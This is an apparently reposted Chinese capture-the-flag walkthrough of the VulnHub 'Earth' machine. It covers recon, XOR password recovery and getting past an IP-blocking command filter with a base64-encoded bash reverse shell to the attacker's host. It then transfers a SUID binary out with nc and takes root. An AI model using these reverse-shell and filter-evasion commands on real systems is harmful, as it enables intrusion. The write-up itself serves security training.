【渗透测试】Earth靶场渗透测试

admin 2025年1月9日09:45:43评论9 views字数 8554阅读28分30秒阅读模式

1.Earth下载安装

下载地址:

https://www.vulnhub.com/entry/the-planets-earth,755/

选择镜像文件进行下载,下载后解压是一个ova文件,在虚拟机中选择打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。

【渗透测试】Earth靶场渗透测试

2.文件信息

MD5 :7577F9CB54D024FD2283C998BCC8C173    SHA1 :6476ACC056C32E09377B5403126FB0B34DBEA0A7

目标  

此靶场共有2个flag,user_flag及root_flag。

最终flag信息如下:

user_flag:user_flag_3353b67d6437f07ba7d34afd7d2fc27droot_flag:root_flag_b0da9554d29db2117b02aa8b66ec492e   

渗透测试步骤

1.信息收集

获取靶机IP地址,发现该靶场IP地址为192.168.241.190。

nmap -sP 192.168.241.0/24

【渗透测试】Earth靶场渗透测试

2.端口扫描   

通过nmap扫描,发现开放443、22、80端口,并探测出相关版本信息。

nmap -sV -v -T4 192.168.241.190   

【渗透测试】Earth靶场渗透测试

同时发现DNS解析,DNS:earth.local, DNS:terratest.earth.local

【渗透测试】Earth靶场渗透测试

将DNS解析写入本机hosts文件。

WindowsLinux的hosts文件地址分别如下:WindowsC:WindowsSystem32driversetchostsLinux/etc/hosts

【渗透测试】Earth靶场渗透测试

通过IP访问,发现访问失败,使用域名进行访问。同时发现,http和https访问均是以下内容。

https://earth.local/

【渗透测试】Earth靶场渗透测试

https://terratest.earth.local/

【渗透测试】Earth靶场渗透测试

3.目录扫描    

使用dirsearch进行扫描。

【渗透测试】Earth靶场渗透测试

【渗透测试】Earth靶场渗透测试

3.1.发现登录页

【渗透测试】Earth靶场渗透测试

【渗透测试】Earth靶场渗透测试

3.2.发现其他文件地址信息    

【渗透测试】Earth靶场渗透测试

经过测试,后缀改为txt文件即可访问。

https://terratest.earth.local/testingnotes.txt

【渗透测试】Earth靶场渗透测试

翻译后得知:

安全消息系统测试记录:使用 XOR 加密算法,鉴于其在 RSA 中的应用,应该是安全的。地球方面已确认收到我们发送的消息。使用 testdata.txt 测试加密。terra 用作管理员门户的用户名。
待办事项:我们如何将每月的密钥安全地发送给地球?或者是否应该每周更换密钥?需要测试不同的密钥长度以防止暴力破解。密钥长度应该设置多长?需要改进消息界面和管理员面板,目前界面非常简单。

3.3.发现testdata.txt页面

【渗透测试】Earth靶场渗透测试

翻译后得知:

根据放射性测年估算和其他证据,地球形成于超过45亿年前。在地球历史的前十亿年,生命出现在海洋中,并开始影响地球的大气和表面,导致厌氧生物和后来有氧生物的繁衍。一些地质证据表明,生命可能早在41亿年前就已经出现。

4.获取用户名及密码

访问https://terratest.earth.local/testingnotes.txt地址后,可以确定用户名为terra,加密方式为XOR加密算法。对访问页内容进行解码,并将结果转换成字符串形式。

import binasciidef xor_encrypt_decrypt(entry_str, pass_txt):    # 将pass_txt转换成16进制    pass_txt_16 = binascii.hexlify(pass_txt.encode('utf-8')).decode('utf-8')    # 对entry_str和pass_txt_16进行xor运算    result = hex(int(entry_str, 16) ^ int(pass_txt_16, 16))[2:]    # 将xor运算结果转换回字符串    try:        datatext = binascii.unhexlify(result).decode('utf-8')    except (binascii.Error, UnicodeDecodeError):        datatext = "Error decoding result"    return datatext# 输入16进制格式的加密文本entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'# 密钥pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."# 进行加密或解密操作datatext = xor_encrypt_decrypt(entry_str, pass_txt)print(datatext)

可以得到:

E:Python111venvScriptspython.exe E:/Python111/111.pyearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
进程已结束,退出代码 0

可以发现输出结果为earthclimatechangebad4humans重复输出。

将此结果作为密码,尝试登录。

【渗透测试】Earth靶场渗透测试

【渗透测试】Earth靶场渗透测试

登录成功,页面为管理员命令工具,输入命令并提交可进行回显。

【渗透测试】Earth靶场渗透测试

5.获取user_flag   

使用命令,查找当前权限下所有带flag名称的文件。

find / -type f -name "*flag*"

发现在/var/earth_web/user_flag.txt有本次flag文件信息。【渗透测试】Earth靶场渗透测试

查看user_flag.txt获取当前flag。

【渗透测试】Earth靶场渗透测试

6.反弹shell获取连接

执行以下命令,发现失败,禁止远程连接。

bash -i >& /dev/tcp/192.168.241.138/6547 0>&1

【渗透测试】Earth靶场渗透测试

尝试使用base64编码,还是失败。

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMzgvNDU2NyAwPiYx}|{base64,-d}|{bash,-i}'

【渗透测试】Earth靶场渗透测试

经过查看nmap扫描信息,发现网站使用mod_wsgi及python 3.9,说明过滤机制使用pyhton进行编写。

根据报错信息,使用find命令查找该文件目录。

find / -name "*.py" -type f |xargs grep "Remote connections are forbidden"

【渗透测试】Earth靶场渗透测试

查看该文件内容。

cat /var/earth_web/secure_message/forms.py  
【渗透测试】Earth靶场渗透测试

将代码复制出来,调整代码格式。

import refrom ipaddress import ip_addressfrom django import formsfrom django.core.exceptions import ValidationErrorfrom .models import EncryptedMessage
class MessageForm(forms.ModelForm):    message_key = forms.CharField(max_length=50)
    class Meta:        model = EncryptedMessage        fields = ['message']
class CLICommandField(forms.CharField):    def validate(self, value):        super().validate(value)        for potential_ip in re.findall(r'd{1,3}.d{1,3}.d{1,3}.d{1,3}', value):            try:                ip_address(potential_ip)            except:                pass            else:                raise ValidationError('Remote connections are forbidden.')
class CLIForm(forms.Form):    cli_command = CLICommandField(label='CLI command', max_length=100)

发现代码将验证用户输入的命令是否包含 IP 地址,如果有 IP 地址,阻止提交,并给出错误提示。将IP地址信息进行编码提交。

┌──(root㉿kali)-[~]└─# echo "bash -i >& /dev/tcp/192.168.241.138/9988 0>&1" | base64YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMzgvOTk4OCAwPiYxCg==
提交信息为:echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMzgvOTk4OCAwPiYxCg" |base64 -d |bash

命令解释:管道符"|"左边命令的输出就会作为管道符右边命令的输入,base64 -d解密,bash用于强制此命令作为脚本运行。

重新提交信息,连接成功。若还是反弹失败,请更换端口再次尝试。【渗透测试】Earth靶场渗透测试

6.1.交互式shell    

使用Python创建一个伪终端。

python3 -c "import pty;pty.spawn('/bin/bash')"

6.2.查看当前用户    

当前用户为apache。

【渗透测试】Earth靶场渗透测试

6.3.查看可执行文件    

使用命令查看,可执行文件有哪些。    

find / -perm -u=s -type f 2>/dev/null 

【渗透测试】Earth靶场渗透测试

发现/usr/bin/reset_root,查看该文件发现用户名密码。

【渗透测试】Earth靶场渗透测试

尝试登录发现登录失败【渗透测试】Earth靶场渗透测试

运行该文件,发现会有报错信息。

【渗透测试】Earth靶场渗透测试

7.权限提升   

7.1.文件导入Kali

//Kali上执行nc -nlvp 9988 >reset_root//靶机上执行nc 192.168.241.138 9988 </usr/bin/reset_root

在靶机上执行:

【渗透测试】Earth靶场渗透测试

在kali查看执行文件:

【渗透测试】Earth靶场渗透测试

发现打开乱码,安装工具:strace ./reset_root

7.2.查看文件信息    

给reset_root文件执行权限,查看文件

┌──(root㉿kali)-[~]└─# chmod +x reset_root     
┌──(root㉿kali)-[~]└─# strace ./reset_rootexecve("./reset_root", ["./reset_root"], 0x7fff23204e80 /* 33 vars */= 0brk(NULL)                               = 0x972000mmap(NULL8192PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10= 0x7fb95ae6f000access("/etc/ld.so.preload"R_OK)      = -1 ENOENT (没有那个文件或目录)openat(AT_FDCWD"/etc/ld.so.cache"O_RDONLY|O_CLOEXEC= 3newfstatat(3"", {st_mode=S_IFREG|0644, st_size=75727...}, AT_EMPTY_PATH= 0mmap(NULL75727PROT_READMAP_PRIVATE30= 0x7fb95ae5c000close(3)                                = 0openat(AT_FDCWD"/lib/x86_64-linux-gnu/libc.so.6"O_RDONLY|O_CLOEXEC= 3read(3"177ELF2113��������3>1���P~2�����"...832= 832pread64(3"6���4���@�������@�������@�������"...78464= 784newfstatat(3"", {st_mode=S_IFREG|0755, st_size=1933688...}, AT_EMPTY_PATH= 0pread64(3"6���4���@�������@�������@�������"...78464= 784mmap(NULL1985936PROT_READMAP_PRIVATE|MAP_DENYWRITE30= 0x7fb95ac77000mmap(0x7fb95ac9d0001404928PROT_READ|PROT_EXECMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x26000= 0x7fb95ac9d000mmap(0x7fb95adf4000348160PROT_READMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x17d000= 0x7fb95adf4000mmap(0x7fb95ae4900024576PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x1d1000= 0x7fb95ae49000mmap(0x7fb95ae4f00052624PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS-10= 0x7fb95ae4f000close(3)                                = 0mmap(NULL12288PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10= 0x7fb95ac74000arch_prctl(ARCH_SET_FS0x7fb95ac74740= 0set_tid_address(0x7fb95ac74a10)         = 352672set_robust_list(0x7fb95ac74a2024)     = 0rseq(0x7fb95ac750600x2000x53053053= 0mprotect(0x7fb95ae4900016384PROT_READ= 0mprotect(0x4030004096PROT_READ)     = 0mprotect(0x7fb95aea10008192PROT_READ= 0prlimit64(0RLIMIT_STACKNULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0munmap(0x7fb95ae5c00075727)           = 0newfstatat(1"", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x880x2), ...}, AT_EMPTY_PATH= 0getrandom("xb7xb8xbfxddxf0x48xdfx56"8GRND_NONBLOCK= 8brk(NULL)                               = 0x972000brk(0x993000)                           = 0x993000write(1"CHECKING IF RESET TRIGGERS PRESE"..., 38CHECKING IF RESET TRIGGERS PRESENT...= 38access("/dev/shm/kHgTFI5G"F_OK)       = -1 ENOENT (没有那个文件或目录)access("/dev/shm/Zw7bV9U5"F_OK)       = -1 ENOENT (没有那个文件或目录)access("/tmp/kcM0Wewe"F_OK)           = -1 ENOENT (没有那个文件或目录)write(1"RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILEDALL TRIGGERS ARE NOT PRESENT.= 44exit_group(0)                           = ?+++ exited with 0 +++
┌──(root㉿kali)-[~]└─

发现缺少三个文件。

/dev/shm/kHgTFI5G/dev/shm/Zw7bV9U5/tmp/kcM0Wewe   

7.3.创建缺少文件    

在靶机使用touch命令创建缺少的三个文件。

touch /dev/shm/kHgTFI5Gtouch /dev/shm/Zw7bV9U5touch /tmp/kcM0Wewe

【渗透测试】Earth靶场渗透测试

7.4.执行reset_root文件    

切换到/usr/bin目录下,运行脚本,切换root用户,并输入密码Earth,成功进入root权限。

【渗透测试】Earth靶场渗透测试

7.5.获取root_flag

切换到root用户目录,查看root_flag.txt,即可看到flag值。

【渗透测试】Earth靶场渗透测试

 

原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Earth靶场渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日09:45:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】Earth靶场渗透测试https://cn-sec.com/archives/3607577.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息